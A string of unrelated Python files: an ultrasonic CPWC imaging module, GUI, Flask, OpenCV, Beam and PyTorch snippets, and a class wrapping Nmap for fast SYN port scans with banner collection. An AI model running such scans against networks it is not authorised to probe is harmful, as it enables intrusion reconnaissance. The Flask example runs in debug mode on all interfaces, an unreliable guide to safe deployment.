# -*- coding: utf-8 -*-
r"""
Módulo ``cpwc``
===============

O CPWC (*Coherent Plane Wave Compounding*) é um algoritmo utilizado para
reconstruir imagens quando o tipo de inspeção é por ondas planas (*plane
waves*). Nesse método, todos os elementos de um transdutor do tipo *array*
linear são disparados simultaneamente, criando uma única frente de onda que
ilumina o objeto sob inspeção, conforme ilustrado na
:numref:`fig_imaging_nde_pwi`.

.. figure:: figures/imaging/nde-pwi.png
    :name: fig_imaging_nde_pwi
    :width: 35 %
    :align: center

    Inspeção com ondas planas.

É possível transmitir ondas planas com inclinações, aplicando *delays* no
disparo dos elementos do transdutor, conforme indicado na
:numref:`fig_imaging_nde_pwi_inc`.

.. figure:: figures/imaging/nde-pwi-inc.png
    :name: fig_imaging_nde_pwi_inc
    :width: 35 %
    :align: center

    Inspeção com ondas planas.

O algoritmo CPWC produz uma imagem final somando as diversas imagens obtidas
a partir de ondas com ângulos diferentes. Cada imagem individual é formada
aplicando *delay*-e-soma nos sinais de A-scan, sendo que os *delays* aplicados
dependem da posição do ponto da imagem e do ângulo da onda plana. A
:numref:`fig_imaging_pwi` ilustra as distâncias percorridas por uma onda
emitida com uma inclinação :math:`\theta` em relação à superfície da peça.

.. figure:: figures/imaging/pwi.png
    :name: fig_imaging_pwi
    :width: 35 %
    :align: center

    Inspeção com ondas planas.

A distância :math:`d_\text{i}` que a onda percorre até atingir um ponto
:math:`(x, z)` é função da posição do ponto e da inclinação da onda:

.. math::

    d_\text{i} = z\cos{\theta} + x\sin{\theta}.

Após atingir o ponto :math:`(x, z)`, a onda pode ser refletida. A distância
:math:`d_\text{v}` percorrida pela onda, do ponto :math:`(x, z)` até um
transdutor posicionado em :math:`(x_t, 0)` é:

.. math::

    d_\text{v} = \sqrt{(x - x_t)^2 + z^2}.

O *delay* :math:`\tau` aplicado ao sinal do transdutor em :math:`x_t` é obtido
a partir da distância total percorrida pela onda e a sua velocidade :math:`c`
no meio:

.. math::

    \tau_{x_t} = \frac{d_i + d_v}{c}.

Exemplo
-------

O *script* abaixo mostra o uso do algoritmo CPWC para a reconstrução de uma
imagem a partir de dados sintéticos, oriundos do simulador CIVA. (Assume-se
que os dados estão na mesma pasta em que o *script* é executado)

O *script* mostra o procedimento para realizar a leitura de um arquivo de
simulação, utilizando o módulo :mod:`framework.file_civa`; o processamento de
dados, utilizando os módulos :mod:`imaging.bscan` e :mod:`imaging.cpwc`; e o
pós-processamento de dados, utilizando o módulo :mod:`framework.post_proc`.

O resultado do *script* é uma imagem, comparando a imagem reconstruída com o
algoritmo B-scan e com o algoritmo CPWC. Além disso, a imagem mostra o
resultado do CPWC com pós-processamento.

.. plot:: plots/imaging/cpwc_example.py
    :include-source:
    :scale: 100

.. raw:: html

    <hr>

"""

import numpy as np
import numba

from framework.data_types import DataInsp, ImagingROI, ImagingResult
from framework.utils import pwd_from_fmc
from surface.surface import Surface, SurfaceType, Lineparam

def cpwc_kernel(data_insp, roi=ImagingROI(), output_key=None, description="", sel_shot=0, c=None,
                cmed=None, angles=np.arange(-10, 10 + 1, 1)):
    """Processa dados de A-scan utilizando o algoritmo CPWC.

    Parameters
    ----------
    data_insp : :class:`.data_types.DataInsp`
        Dados de inspeção, contendo parâmetros de inspeção, da peça e do
        transdutor, além da estrutura para salvar os resultados obtidos.

    roi : :class:`.data_types.ImagingROI`
        Região de interesse na qual o algoritmo será executado. As dimensões
        da ROI devem estar em mm.

    output_key : :class:`None` ou :class:`int`
        Chave identificadora do resultado de processamento. O atributo
        :attr:`.data_types.DataInsp.imaging_results` é um dicionário, capaz
        de armazenar diversos resultados de processamento. A chave (*key*) é
        um valor numérico que representa o ID do resultado, enquanto que o
        valor (*value*) é o resultado do processamento. Se ``output_key`` for
        ``None``, uma nova chave aleatória é gerada e o resultado é armazenado
        no dicionário. Se ``int``, o resultado é armazenado sob a chave
        especificada, criando uma nova entrada caso a chave não exista no
        dicionário ou sobrescrevendo os resultados anteriores caso a chave já
        exista. Por padrão, é ``None``.

    description : str
        Texto descritivo para o resultado. Por padrão, é uma *string* vazia.

    sel_shot : int
        Parâmetro que refere-se ao disparo caso o transdutor tenha sido
        deslocado.

    c : int ou float
        Velocidade de propagação da onda no objeto sob inspeção. Por
        padrão, é None e nesse caso é obtido o valor do data_insp.

    cmed : int ou float
        Velocidade de propagação da onda no meio acoplante. Por
        padrão, é None e nesse caso é obtido o valor do data_insp.

    angles : :class:`np.ndarray`
        Vetor com ângulos para executar o algoritmo de CPWC a partir de dados
        de FMC. Por padrão, é um vetor [-10, -9,..., 10].

    Returns
    -------
    :class:`int`
        Chave de identificação do resultado (``output_key``).

    Raises
    ------
    TypeError
        Se ``data_insp`` não for do tipo :class:`.data_types.DataInsp`.

    TypeError
        Se ``roi`` não for do tipo :class:`.data_types.ImagingROI`.

    TypeError
        Se ``output_key`` não for do tipo :class:`NoneType` ou se não for
        possível realizar sua conversão para :class:`np.int32`.

    TypeError
        Se ``description`` não for do tipo :class:`str` ou se não for possível
        realizar sua conversão para :class:`str`.

    TypeError
        Se ``sel_shot`` não for do tipo :class:`int` ou se não for possível
        realizar sua conversão para :class:`int`.

    TypeError
        Se ``c`` não for do tipo :class:`float` ou se não for possível
        realizar sua conversão para :class:`float`.

    TypeError
        Se ``angles`` não for do tipo :class:`np.ndarray`.

    NotImplementedError
        Se o tipo de captura (:attr:`.data_types.InspectionParams.type_capt`)
        não for ``PWI`` ou ``FMC``.

    """

    # Teste dos tipos dos parâmetros.
    if type(data_insp) is not DataInsp:
        raise TypeError("O argumento ``data_insp`` não é um objeto do tipo ``DataInsp``.")

    if type(roi) is not ImagingROI:
        raise TypeError("O argumento ``roi`` não é um objeto do tipo ``ImagingROI``.")

    if output_key is not None:
        try:
            output_key = np.int32(output_key)
        except ValueError:
            raise TypeError("Não foi possível converter o argumento ``output_key`` para ``numpy.int32``.")

    try:
        description = str(description)
    except Exception:
        raise TypeError("Não foi possível converter o argumento ``description`` para o tipo ``str``.")

    if cmed is None:
        cmed = data_insp.inspection_params.coupling_cl
    else:
        try:
            cmed = float(cmed)
        except ValueError:
            raise TypeError("Não foi possível converter o argumento ``cmed`` para o tipo ``float``.")

    if c is None:
        c = data_insp.specimen_params.cl
    else:
        try:
            c = float(c)
        except ValueError:
            raise TypeError("Não foi possível converter o argumento ``c`` para o tipo ``float``.")

    if type(angles) is not np.ndarray:
        raise TypeError("O argumento ``angles`` não é do tipo ``np.ndarray``")

    # --- Extração dos dados necessários para a execução do algoritmo. ---
    # Posições transdutores
    xt = 1e-3 * data_insp.probe_params.elem_center[:, 0]

    # Amostragem e gate
    ts = 1e-6 * data_insp.inspection_params.sample_time
    tgs = 1e-6 * data_insp.inspection_params.gate_start

    # Extração dos dados de A-scan. Se o ensaio for do tipo FMC, os dados de PWI
    # são gerados a partir do conjunto de ângulos informado.

    if data_insp.inspection_params.type_capt == "PWI":
        # Inverte os dados para as dimensões da matriz de dados ficar [emissão, a-scan, transdutor]
        theta = data_insp.inspection_params.angles / 180 * np.pi
        pwdata = np.swapaxes(data_insp.ascan_data[:, :, :, sel_shot], 0, 1)

    elif data_insp.inspection_params.type_capt == "FMC":
        theta = angles / 180 * np.pi
        fmcdata = data_insp.ascan_data[:, :, :, sel_shot]
        pwdata = pwd_from_fmc(fmcdata, angles, xt, c, ts)

    else:
        raise NotImplementedError("Tipo de captura inválido. Só é permitido ``PWI`` e ``FMC``.")

    # Dados da ROI
    xr = 1e-3 * roi.w_points
    zr = 1e-3 * roi.h_points

    # --- INÍCIO DO ALGORITMO CPWC, desenvolvido por Marco. ---
    # Dimensões dados
    m = pwdata.shape[1]
    n = pwdata.shape[2]

    # Dimensões ROI
    m_r = zr.shape[0]
    n_r = xr.shape[0]

    # Imagem
    img = np.zeros((m_r * n_r, 1), dtype=pwdata.dtype)

    for k, thetak in enumerate(theta):
        data = np.vstack((pwdata[k], np.zeros((1, n)))).astype(pwdata.dtype)

        # Calcula a distância percorrida pela onda até cada ponto da ROI e de
        # volta para cada transdutor. As distâncias são convertidas em delays
        # e então em índices. Cada linha da variável j representa um pixel na
        # imagem final, contendo o índice das amostras do sinal de Ascan para
        # todos os transdutores que contribuem para esse pixel.
        if data_insp.inspection_params.type_insp == 'immersion':
            j = cpwc_roi_dist_immersion(xr, zr, xt, thetak, c, cmed, ts, tgs, data_insp.surf)
        else:
            j = cpwc_roi_dist(xr, zr, xt, thetak, c, ts, tgs)
        j = j.reshape(m_r * n_r, n)
        j[j >= m] = -1
        j[j < 0] = -1

        # Soma as amostras de Ascan coerentemente
        aux = np.zeros(j.shape[0], dtype=pwdata.dtype)
        img[:, 0] += cpwc_sum(data, aux, j)

    f = img.reshape((m_r, n_r), order='F')

    # --- FIM DO ALGORITMO CPWC. ---

    # Salva o resultado.
    if output_key is None:
        # Cria um objeto ImagingResult com o resultado do algoritmo e salva a imagem reconstruída.
        result = ImagingResult(roi=roi, description=description)
        result.image = f

        # Gera uma chave aleatória para inserção no dicionário de resultados.
        ii32 = np.iinfo(np.int32)
        while True:
            output_key = np.random.randint(low=ii32.min, high=ii32.max, dtype=np.int32)

            # Insere o resultado na lista apropriada do objeto DataInsp
            if output_key in data_insp.imaging_results:
                # Chave já existe. Como deve ser uma chave nova, repete.
                continue
            else:
                # Chave inexistente. Insere o resultado no dicionário e sai do laço.
                data_insp.imaging_results[output_key] = result
                break
    else:
        # Salva o resultado em um objeto ImagingResult já existente em DataInsp.
        # Busca o resultado no dicionário baseado na chave.
        try:
            result = data_insp.imaging_results[output_key]
            result.roi = roi
            result.description = description
        except KeyError:
            # Objeto não encontrado no dicionário. Cria um novo.
            # Cria um objeto ImagingResult com o resultado do algoritmo e salva a imagem reconstruída.
            result = ImagingResult(roi=roi, description=description)

        # Salva o novo resultado.
        result.image = f

        # Guarda o resultado no dicionário.
        data_insp.imaging_results[output_key] = result

    # Retorna o valor da chave
    return output_key

@numba.njit(parallel=True)
def cpwc_roi_dist(xr, zr, xt, theta, c, ts, tgs):
    r"""Calcula os *delays* para o DAS do algoritmo CPWC.

    Os *delays* são convertidos para índices, a partir do período de
    amostragem. Os *delays* são calculados conforme a trajetória da onda
    plana, desde o transdutor até o ponto da ROI e de volta para o transdutor.

    Parameters
    ----------
    xr : :class:`np.ndarray`
        Vetor com os valores de :math:`x` da ROI, em m.

    zr : :class:`np.ndarray`
        Vetor com os valores de :math:`z` da ROI, em m.

    xt : :class:`np.ndarray`
        Vetor com os valores de :math:`x` dos elementos do transdutor, em m.

    theta : :class:`int`, :class:`float`
        Ângulo de inclinação da onda plana, em radianos.

    c : :class:`int`, :class:`float`
        Velocidade de propagação da onda no meio.

    ts : :class:`int`, :class:`float`
        Período de amostragem do transdutor.

    tgs : :class:`int`, :class:`float`
        Tempo do gate inicial.

    Returns
    -------
    :class:`np.ndarray`
        Uma matriz de números inteiros :math:`M_r \cdot N_r` por :math:`N`, em
        que :math:`M_r` é a quantidade de elementos do vetor :math:`x`,
        :math:`N_r` é a quantidade de elementos do vetor :math:`z` e :math:`N`
        é a quantidade de elementos do transdutor.

    """

    m_r = zr.shape[0]
    n_r = xr.shape[0]
    n = xt.shape[0]

    ti_i = np.int64(tgs / ts)

    j = np.zeros((n_r * m_r, n), dtype=np.int64)
    for i in numba.prange(n_r):
        for jj in range(m_r):
            i_i = i * m_r + jj
            di = (zr[jj] * np.cos(theta) + xr[i] * np.sin(theta))
            dv = np.sqrt(zr[jj] ** 2 + (xr[i] - xt) ** 2)
            d = np.rint((di + dv) / (c * ts))
            j[i_i, :] = d - ti_i

    return j

def cpwc_roi_dist_immersion(xr, zr, xt, theta, c, cmed, ts, tgs, surf):
    r"""Calcula os *delays* para o DAS do algoritmo CPWC.

    Os *delays* são convertidos para índices, a partir do período de
    amostragem. Os *delays* são calculados conforme a trajetória da onda
    plana, desde o transdutor até o ponto da ROI e de volta para o transdutor.

    Parameters
    ----------
    xr : :class:`np.ndarray`
        Vetor com os valores de :math:`x` da ROI, em m.

    zr : :class:`np.ndarray`
        Vetor com os valores de :math:`z` da ROI, em m.

    xt : :class:`np.ndarray`
        Vetor com os valores de :math:`x` dos elementos do transdutor, em m.

    theta : :class:`int`, :class:`float`
        Ângulo de inclinação da onda plana, em radianos.

    c : :class:`int`, :class:`float`
        Velocidade de propagação da onda no meio.

    ts : :class:`int`, :class:`float`
        Período de amostragem do transdutor.

    tgs : :class:`int`, :class:`float`
        Tempo do gate inicial.

    surf : :class:`Surface`
        Objeto com informações sobre a superfície externa.

    Returns
    -------
    :class:`np.ndarray`
        Uma matriz de números inteiros :math:`M_r \cdot N_r` por :math:`N`, em
        que :math:`M_r` é a quantidade de elementos do vetor :math:`x`,
        :math:`N_r` é a quantidade de elementos do vetor :math:`z` e :math:`N`
        é a quantidade de elementos do transdutor.

    """

    m_r = zr.shape[0]
    n_r = xr.shape[0]
    n = xt.shape[0]

    ti_i = np.int64(tgs / ts)

    j = np.zeros((n_r * m_r, n), dtype=np.int64)
    yr = np.zeros_like(xr)
    roi_coord = np.zeros((m_r * n_r, 3))
    for i in range(n_r):
        roi_coord[i*m_r:(i+1)*m_r, 0] = xr[i]
        for jj in range(m_r):
            roi_coord[i*m_r+jj, 2] = zr[jj]
    roi_coord *= 1e3
    # Distância dos pixels aos respectivos pontos de entrada
    di_mat = (roi_coord[:, 2] - surf.surfaceparam.b) / np.cos(theta)
    #di_mat = roi_coord[:, 2] * np.cos(theta) + roi_coord[:, 0] * np.sin(theta)
    # Localização dos pontos de entrada
    entrypoints = np.zeros_like(roi_coord)
    entrypoints[:, 2] = surf.surfaceparam.b
    entrypoints[:, 0] = roi_coord[:, 0] - di_mat * np.sin(theta)
    # Transformação do ângulo theta pela Lei de Snell
    theta_med = np.arcsin(np.sin(theta) * cmed / c)
    print(np.array([theta, theta_med])*180/np.pi)
    # Distância dos pontos de entrada à origem da frente de onda plana
    di_med = entrypoints[:, 2] * np.cos(theta_med) + entrypoints[:, 0] * np.sin(theta_med)
    # Distância total de ida
    #di = di_med + di_mat
    # A Distância de volta é caulculada diretamente pela classe Seurface
    elem_center = np.zeros((len(xt), 3))
    elem_center[:, 0] = xt * 1e3
    [dv_med, dv_mat] = surf.cdist_medium(elem_center, roi_coord)
    dv_med = dv_med.transpose()
    dv_mat = dv_mat.transpose()
    #dv = dv_med + dv_mat
    # Dividir distâncias por 1e3
    di_med *= 1e-3
    di_mat *= 1e-3
    dv_med *= 1e-3
    dv_mat *= 1e-3
    #d_med = np.copy()
    #d = np.rint((di_mat + dv_mat) / (c * ts)) + \
    #    np.rint((di_med + dv_med) / (cmed * ts))
    # Faz a operação de soma
    d = np.zeros_like(dv_med)
    d += dv_med / (cmed * ts)
    d += dv_mat / (c * ts)
    for i in range(len(xt)):
        d[:, i] += di_med / (cmed * ts)
        d[:, i] += di_mat / (c * ts)
    j = np.array(np.rint(d) - ti_i, dtype=np.int64)

    # for i in range(n_r):
    #     for jj in range(m_r):
    #         i_i = i * m_r + jj
    #         # Tem que fazer isso aqui (linha abaixo) para o ponto de entrada
    #         # e somar do ponto de entrada ao foco
    #         di = (zr[jj] * np.cos(theta) + xr[i] * np.sin(theta))
    #         dv = np.sqrt(zr[jj] ** 2 + (xr[i] - xt) ** 2)
    #         d = np.rint((di + dv) / (c * ts))
    #         j[i_i, :] = d - ti_i

    return j

@numba.njit(parallel=True)
def cpwc_sum(data, img, j):
    r"""Realiza a soma para o DAS do algoritmo CPWC.

    Parameters
    ----------
    data : :class:`np.ndarray`
        Matriz :math:`M` por :math:`N` contendo os dados de aquisição.

    img : :class:`np.ndarray`
        Vetor :math:`N_r` para acumular os dados.

    j : :class:`np.ndarray`
        Matriz com os *delays* para cada ponto da ROI. Deve ser uma matriz
        :math:`M_r \cdot N_r` por :math:`N`, em que :math:`M_r` é a quantidade
        de elementos do vetor :math:`x`, :math:`N_r` é a quantidade de
        elementos do vetor :math:`z` e :math:`N` é a quantidade de elementos
        do transdutor.

    Returns
    -------
    :class:`np.ndarray`
        Vetor 1 por :math:`M_r \cdot N_r` contendo a soma no eixo 1 da matriz.

    """

    i = np.arange(j.shape[1])
    # img = np.zeros(j.shape[0])
    for jj in numba.prange(j.shape[0]):
        idx = j[jj, :]
        for ii in range(i.shape[0]):
            img[jj] += data[idx[ii], ii]

    return img

def cpwc_params():
    """Retorna os parâmetros do algoritmo CPWC.

    Returns
    -------
    :class:`dict`
        Dicionário, em que a chave ``roi`` representa a região de interesse
        utilizada pelo algoritmo, a chave ``output_key`` representa a chave
        de identificação do resultado, a chave ``description`` representa a
        descrição do resultado, a chave ``sel_shot`` representa o disparo
        do transdutor e a chave ``c`` representa a velocidade de propagação
        da onda na peça.

    """
    return {"roi": ImagingROI(), "output_key": None, "description": "", "sel_shot": 0, "c": 5900.0,
            "angles": np.arange(-10, 10 + 1, 1)}


import sys
from typing import TYPE_CHECKING, Callable, Dict, List

from PySide2.QtWidgets import QApplication
from PySide2.QtCore import Signal, QLocale, QTranslator

from lib.extensions.extensionlib import BaseExtension, BaseInterface

if TYPE_CHECKING:
    pass
    from lib.extensions.extensionlib import extension_lib

from .applications_toolbar import PMApplicationsToolBar
from .process_monitor import PMProcessConsoleTabWidget
from .manage_apps import APPManager, ToolAppDesc
import os

file_name = os.path.join(os.path.dirname(__file__), 'translations', 'qt_{0}.qm'.format(QLocale.system().name()))
app = QApplication.instance()
trans = QTranslator()
trans.load(file_name)
app.installTranslator(trans)

class Extension(BaseExtension):
    if TYPE_CHECKING:
        interface: 'ApplicationsInterface' = None
        widget: 'PMApplicationsToolBar' = None
        extension_lib: 'extension_lib' = None

    def on_loading(self):
        pass
        # self.trans = self.extension_lib.UI.add_translation_file(
        #     os.path.join(os.path.dirname(__file__), 'translations', 'qt_{0}.qm'.format(QLocale.system().name())))

    def on_load(self):
        applications_toolbar: 'PMApplicationsToolBar' = self.widgets['PMApplicationsToolBar']
        applications_toolbar.extension_lib = self.extension_lib
        self.interface.extension_lib = self.extension_lib
        self.applications_toolbar = applications_toolbar

        self.interface.app_item_double_clicked_signal = applications_toolbar.app_item_double_clicked_signal

        self.interface.app_item_double_clicked_signal.connect(self.interface.on_clicked)
        self.interface.toolbar = applications_toolbar
        self.interface.console_tab_widget: 'PMProcessConsoleTabWidget' = self.widgets['PMProcessConsoleTabWidget']
        self.interface.console_tab_widget.set_extension_lib(self.extension_lib)
        self.console_tab_widget = self.widgets['PMProcessConsoleTabWidget']
        self.extension_lib.Signal.get_widgets_ready_signal().connect(self.bind_events)
        self.applications_toolbar.console_tab_widget = self.console_tab_widget

    def bind_events(self):
        self.extension_lib.get_interface('file_tree').add_open_file_callback('.ui', lambda
            name: self.applications_toolbar.open_in_designer(name))
        self.extension_lib.get_interface('file_tree').add_open_file_callback('.ts', lambda
            name: self.applications_toolbar.open_in_linguist(name))

class ApplicationsInterface(BaseInterface):
    app_item_double_clicked_signal: 'Signal' = None
    toolbar: 'PMApplicationsToolBar' = None
    console_tab_widget: 'PMProcessConsoleTabWidget' = None

    def on_clicked(self, name: str):
        print('interface', name)

    def add_app(self, group: str, text: str, icon_path: str, callback: Callable, hint: str = ''):
        """
        添加一个绘图按钮。name表示按钮的名称,text表示按钮的文字，icon_path表示按钮的图标路径，callback表示按钮的回调函数
        hint表示的就是按钮鼠标悬浮时候的提示文字。
        例如：
        extension_lib.get_interface('applications_toolbar').add_app('aaaaaa','hahahaahahah',
                                                                         ':/pyqt/source/images/lc_searchdialog.png',lambda :print('123123123'))
        """
        self.toolbar.add_toolbox_widget(group, text, icon_path, action=callback, hint=hint, refresh=True)

    def add_process_action(self, group: str, text: str, icon_path: str, process_args: list, hint: str = ''):
        """
        添加一个绘图按钮。name表示按钮的名称,text表示按钮的文字，icon_path表示按钮的图标路径，callback表示按钮的回调函数
        hint表示的就是按钮鼠标悬浮时候的提示文字。
        例如：
        extension_lib.get_interface('applications_toolbar').app_toolbar_interface.add_process_action('应用测试', '拟合工具',
                                                 os.path.join(path, 'src', 'cftool.png'),
                                                 ['python', '-u', os.path.join(path, 'start_cftool.py')])
        """

        def callback():
            self.console_tab_widget.create_process(text, process_args)
            self.extension_lib.UI.raise_dock_into_view('process_console_tab')
        # self.toolbar.show_apps_button_bar.add_button(text, icon_path, btn_action=callback)

    def create_process(self, text: str, process_args: List[str]):
        print(text, process_args)
        self.console_tab_widget.create_process(text, process_args)
        self.extension_lib.UI.raise_dock_into_view('process_console_tab')

    def create_python_file_process(self, file_name, interpreter_path='', args: List[str] = None):
        if args is None:
            args = []
        if interpreter_path == '':
            interpreter_path = sys.executable
        command_list = [interpreter_path, file_name, '-u'] + args
        self.create_process(os.path.basename(file_name), process_args=command_list)

    def create_instant_boot_python_file_process(self, file_name, interpreter_path=''):
        self.console_tab_widget.create_instant_boot_process(file_name, interpreter_path)
        self.extension_lib.UI.raise_dock_into_view('process_console_tab')


names = ['John', 'Ana', 'Frank']
math = [80, 75, 91]
eng = [83, 76, 89]
sci = [81, 78, 92]
t = 0

ave = []
for m, e, s in zip(math, eng, sci):
    ave.append((m + e + s)/3)

def gradeList(n, m, e, s):

    print(f"{n[t]}'s grade (Math = {m[t]}, English = {e[t]}, Science = {s[t]}) and the average is {round(ave[t], 2)}")

while t <= 2:
    gradeList(names,math,eng,sci)
    t += 1
    continue


# compose_flask/app.py
from flask import Flask
from redis import Redis

app = Flask(__name__)
redis = Redis(host='redis-container', port=6379)

@app.route('/')
def hello():
    redis.incr('hits')
    return ' - - - great has viewed {} time(s) - - -'.format(redis.get('hits'))

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=5000)


'''
URLError异常
'''

#！/usr/bin/env python
#coding:utf-8

import urllib.request as request
import urllib.parse as parse

req=request.Request("http://blog.csdn.net/acq")
try:
    response=request.urlopen(req)
    print(response.read().decode("utf-8"))
except request.HTTPError as e:
    print(e.code)
except request.URLError as e:
    if hasattr(e, "reason"):
        print(e.reason)
else:
    print("ok")


#!/usr/bin/env python3
# coding:utf-8
import subprocess
import re
from .taskbase import TaskBase

class Nmap(TaskBase):
    '''调用Nmap的扫描任务
    通过nmap执行扫描任务，因此参数格式遵循nmap调用格式
    参数:options
            {
                'target':   [ip1,ip2,ip3...],ip列表（nmap格式）
                'port':     '1-65535'/'--top-ports 1000',nmap能识别的端口格式
                'org_id':   id,target关联的组织机构ID
                'rate':     1000,扫描速率
                'ping':     True/False，是否PING
                'tech':     '-sT'/'-sS'/'-sV'，扫描技术
            }
    任务结果:
        保存为ip资产格式的列表：
        [{'ip':'192.168.1.1','status':'alive','port':[{'port':80,'service':'http','banner':'ngix'},...]},...]
    '''
    def __init__(self):
        super().__init__()
        # 任务名称
        self.task_name = 'nmap'
        # 任务描述
        self.task_description = '调用nmap进行端口扫描'
        # 参数
        self.org_id = None
        self.source = 'portscan'
        self.result_attr_keys = ('service', 'banner')
        # 默认的参数
        self.target = []
        self.port = ''
        self.rate = 10000
        self.tech = '-sS'
        self.ping = False

    def __parse_nmap_grepable_file(self, nmap_grepable_file):
        '''解析nmap扫描输出的grepable文件
        '''
        results = []
        for line in nmap_grepable_file:
            line_str = line.strip()
            if line_str.startswith('#'):
                continue
            if line_str == '':
                continue
            m = re.findall(r'^Host:(.+)Ports:(.+)', line_str)
            if m and len(m[0]) >= 2:
                ip = re.findall(
                    r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', m[0][0])[0]
                ports_info = m[0][1].strip().split(',')
                ports = []
                for pi in ports_info:
                    p = pi.split('/')
                    status = p[1]
                    if status == 'open':
                        port = int(p[0].strip())
                        service = p[4].strip()
                        banner = p[6].strip()
                        ports.append(
                            {'port': port, 'service': service, 'banner': banner, 'status': status})
                results.append({'ip': ip, 'status': 'alive', 'port': ports})

        return results

    def __nmap_scan(self, ip, port):
        '''调用nmap对指定IP和端口进行扫描
        '''
        nmap_bin = ['nmap', self.tech, '-T4', '-oG','-',  '--open', '-n','--min-rate', str(self.rate)]
        if not self.ping:
            nmap_bin.append('-Pn')
        # 两种方式：指定端口（包括全端口）和常用top端口（--top-ports 1000）
        if port.startswith('--top'):
            nmap_bin.append('--top-ports')
            nmap_bin.append(port.split(' ')[1].strip())
        else:
            nmap_bin.append('-p')
            nmap_bin.append(port)
        nmap_bin.append(ip)
        # 调用nmap进行扫描
        child = subprocess.Popen(nmap_bin, stdout=subprocess.PIPE)
        # 读取扫描结果
        scan_result = []
        while child.poll() is None:
            line = child.stdout.readline().decode()
            scan_result.append(line)
        # 解析nmap扫描结果
        return self.__parse_nmap_grepable_file(scan_result)

    def prepare(self,options):
        '''解析参数
        '''
        self.rate = options['rate'] if 'rate' in options else self.rate
        self.tech = options['tech'] if 'tech' in options else self.tech
        self.ping = options['ping'] if 'ping' in options else self.ping
        self.target = options['target']
        self.port = options['port']
        self.org_id = None if 'org_id' not in options else options['org_id']

    def execute(self):
        '''调用nmap执行扫描任务
        '''
        ip_ports = []
        try:
            for ip in self.target:
                ip_ports.extend(self.__nmap_scan(ip, self.port))
        except Exception as e:
            pass

        return ip_ports

    def run(self, options):
        '''执行任务
        '''
        try:
            self.prepare(options)
            ip_ports = self.execute()
            result = self.save_ip(ip_ports)
            result['status'] = 'success'

            return result
        except Exception as e:
            return {'status': 'fail', 'msg': str(e)}


import numpy as np
import cv2

cap = cv2.VideoCapture(1 + cv2.CAP_V4L)

cap.set(cv2.CAP_PROP_CONVERT_RGB, 0) # turn off RGB conversion

while(True):
    # Capture frame-by-frame
    _, frame = cap.read()
    bf81 = np.array(frame // 16, dtype=np.uint8)
    # Create the mask
    #binary = cv2.imread('Masked_Image.png', 0)
    _, binary = cv2.threshold(bf81, 50, 255, cv2.THRESH_BINARY)
    im3 = cv2.bitwise_and(bf81, binary)
    im3[binary == 0] = 0
    Mean = cv2.mean(bf81, binary)
    print('Mean =', *Mean[:1], sep=''), " \r",
    cv2.imshow('Mask', binary)
    cv2.imshow('Original', bf81)
    cv2.imshow('Masked Image', im3)
    # detect waitkey of q to quit
    key = cv2.waitKey(1) & 0xFF
    if key == ord("q"):
        break


#!/usr/bin/env python3

import logging

from apache_beam.runners import DataflowRunner

from modules import combined_pipeline

def run(argv=None):
    logging.getLogger().setLevel(logging.INFO)
    p = combined_pipeline.create_pipeline()
    pipeline_result = p.run(argv)
    if not isinstance(p.runner, DataflowRunner):
        pipeline_result.wait_until_finish()

if __name__ == "__main__":
    run()


##LC 1252. Cells with Odd Values in a Matrix

#Solution
class Solution(object):
    def oddCells(self, n, m, indices):
        """
        :type n: int
        :type m: int
        :type indices: List[List[int]]
        :rtype: int
        """
        row = [0]*n
        col = [0]*m

        for ind in indices:
            row[ind[0]] += 1
            col[ind[1]] += 1

        return sum([(row[i]+col[j])%2 for i in range(n) for j in range(m)])

#Result Runtime: 24 ms / 90.25%; Memory Usage: 13.3 MB / 84.81%

#Instruction: check number of shifts for each column/row instead of elementwise calculation


import random
import numpy as np
import cv2
import matplotlib.pyplot as plt
from torch.utils.data import Dataset, DataLoader

import os
import random
import math
from datetime import datetime
from collections import Counter
import pandas as pd
import numpy as np

import cv2
from PIL import Image
from pathlib import Path
import matplotlib.pyplot as plt
from matplotlib.patches import Rectangle
from sklearn.model_selection import train_test_split
import xml.etree.ElementTree as ET

import torch
from torch.utils.data import Dataset, DataLoader
import torch.optim as optim
import torch.nn as nn
import torch.nn.functional as F
from torchvision import models

class FruitDataset(Dataset):
    def __init__(self, paths, bb, y, transforms=False):
        self.transforms = transforms
        self.paths = paths.values
        self.bb = bb.values
        self.y = y.values

    def __len__(self):
        return len(self.paths)

    def __getitem__(self, idx):
        path = self.paths[idx]
        y_class = self.y[idx]
        x, y_bb = transformsXY(path, self.bb[idx], self.transforms)
        x = normalize(x)
        x = np.rollaxis(x, 2)
        return x, y_class, y_bb

# Reading an image
def read_image(path):
    return cv2.cvtColor(cv2.imread(str(path)), cv2.COLOR_BGR2RGB)

def create_mask(bb, x):
    """Creates a mask for the bounding box of same shape as image"""
    rows, cols, *_ = x.shape
    Y = np.zeros((rows, cols))
    bb = bb.astype(np.int)
    Y[bb[0]:bb[2], bb[1]:bb[3]] = 1.
    return Y

def mask_to_bb(Y):
    """Convert mask Y to a bounding box, assumes 0 as background nonzero object"""
    cols, rows = np.nonzero(Y)
    if len(cols) == 0:
        return np.zeros(4, dtype=np.float32)
    top_row = np.min(rows)
    left_col = np.min(cols)
    bottom_row = np.max(rows)
    right_col = np.max(cols)
    return np.array([left_col, top_row, right_col, bottom_row], dtype=np.float32)

def create_bb_array(x):
    """Generates bounding box array from a train_df row"""
    return np.array([x[5], x[4], x[7], x[6]])

def resize_image_bb(read_path, write_path, bb, sz):
    """Resize an image and its bounding box and write image to new path"""
    im = read_image(read_path)
    im_resized = cv2.resize(im, (int(1.49 * sz), sz))
    Y_resized = cv2.resize(create_mask(bb, im), (int(1.49 * sz), sz))
    new_path = str(write_path / read_path.parts[-1])
    cv2.imwrite(new_path, cv2.cvtColor(im_resized, cv2.COLOR_RGB2BGR))
    return new_path, mask_to_bb(Y_resized)

# modified from fast.ai
def crop(im, r, c, target_r, target_c):
    return im[r:r + target_r, c:c + target_c]

# random crop to the original size
def random_crop(x, r_pix=8):
    """ Returns a random crop"""
    r, c, *_ = x.shape
    c_pix = round(r_pix * c / r)
    rand_r = random.uniform(0, 1)
    rand_c = random.uniform(0, 1)
    start_r = np.floor(2 * rand_r * r_pix).astype(int)
    start_c = np.floor(2 * rand_c * c_pix).astype(int)
    return crop(x, start_r, start_c, r - 2 * r_pix, c - 2 * c_pix)

def center_crop(x, r_pix=8):
    r, c, *_ = x.shape
    c_pix = round(r_pix * c / r)
    return crop(x, r_pix, c_pix, r - 2 * r_pix, c - 2 * c_pix)

